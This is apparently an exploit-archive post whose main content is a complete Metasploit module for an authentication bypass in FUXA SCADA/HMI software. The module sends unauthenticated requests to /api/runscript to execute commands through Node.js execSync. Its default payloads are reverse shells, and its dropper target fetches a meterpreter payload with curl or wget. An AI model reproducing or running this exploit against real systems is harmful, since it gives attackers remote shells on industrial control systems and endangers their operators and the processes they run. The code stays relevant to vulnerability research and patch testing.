📄 FUXA 1.2.8 Authentication Bypass / Remote Code Execution

=============================================================================================================================================
    | # Title     : FUXA ≤ 1.2.8 Authentication Bypass Remote Code Execution                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://github.com/frangoteam/FUXA/                                                                                         |
    =============================================================================================================================================
    
    [+] Summary    :  This module adds support for exploiting CVE-2025-69985 in FUXA SCADA/HMI software (≤ 1.2.8). 
                      The vulnerability allows unauthenticated access to the /api/runscript endpoint due to an authentication bypass, leading to remote code execution via Node.js child_process.execSync.
    
    [+] The module implements:
    
    A reliable vulnerability check using direct JavaScript execution
    
    Command execution targets for Unix/Linux and Windows systems
    
    A Linux dropper target leveraging CmdStager (curl, wget, printf)
    
    Proper JSON handling and HTTP response validation
    
    Safe error handling aligned with Metasploit coding standards
    
    This implementation follows Rapid7 module development guidelines and includes stability, reliability, and side‑effect metadata.
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit Framework
    ##
    
    require 'json'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FUXA <= 1.2.8 Authentication Bypass Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2025-69985 in FUXA SCADA/HMI software.
              An authentication bypass allows unauthenticated access to the
              /api/runscript endpoint, resulting in remote command execution
              via Node.js child_process.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-69985'],
              ['URL', 'https://github.com/joshuavanderpoll/CVE-2025-69985']
            ],
            'Platform' => %w[win linux unix],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => [ARCH_CMD],
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => %w[win],
                  'Arch' => [ARCH_CMD],
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/reverse_powershell'
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => %w[linux],
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'CmdStagerFlavor' => %w[curl wget printf],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
                    'FETCH_COMMAND' => 'curl'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2026-02-01',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          Opt::RPORT(1881),
          OptString.new('TARGETURI', [true, 'Base FUXA path', '/']),
          OptString.new('COMMAND', [false, 'Execute a single command'])
        ])
      end
    
      def check
        print_status('Checking if target is vulnerable...')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'runscript'),
          'headers' => { 'Content-Type' => 'application/json' },
          'data' => {
            'params' => {
              'script' => {
                'code' => 'return "msf_check";',
                'test' => 'return "msf_check";'
              },
              'toLogEvent' => false
            }
          }.to_json
        })
    
        return CheckCode::Unknown('No response from target') unless res
        return CheckCode::Safe("Unexpected HTTP status #{res.code}") unless res.code == 200
    
        begin
          json = JSON.parse(res.body)
          return CheckCode::Vulnerable if json.to_s.include?('msf_check')
        rescue JSON::ParserError
          return CheckCode::Unknown('Response was not valid JSON')
        end
    
        CheckCode::Safe
      end
    
      def build_js_payload(command)
        escaped = Rex::Text.escape_js(command)
    
        <<~JS.strip
          const cp = require("child_process");
          try {
            const result = cp.execSync("#{escaped}", { encoding: "utf8" });
            return result.toString();
          } catch (err) {
            return "ERR:" + err.message;
          }
        JS
      end
    
      def execute_command(cmd, _opts = {})
        js_code = build_js_payload(cmd)
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'runscript'),
          'headers' => {
            'Content-Type' => 'application/json',
            'Referer' => full_uri.to_s
          },
          'data' => {
            'params' => {
              'script' => {
                'id' => 'exploit',
                'name' => 'exploit',
                'code' => js_code,
                'test' => js_code
              },
              'toLogEvent' => false
            }
          }.to_json
        })
    
        unless res
          fail_with(Failure::Unreachable, 'Connection failed')
        end
    
        unless res.code == 200
          fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}")
        end
    
        res.body
      end
    
      def exploit
        status = check
        fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless status == CheckCode::Vulnerable
    
        print_good('Target is vulnerable, proceeding with exploitation')
    
        case target['Type']
        when :unix_cmd, :win_cmd
          if datastore['COMMAND'].present?
            output = execute_command(datastore['COMMAND'])
            print_line(output)
          else
            execute_command(payload.encoded)
          end
        when :linux_dropper
          execute_cmdstager
        else
          fail_with(Failure::BadConfig, 'Invalid target configuration')
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================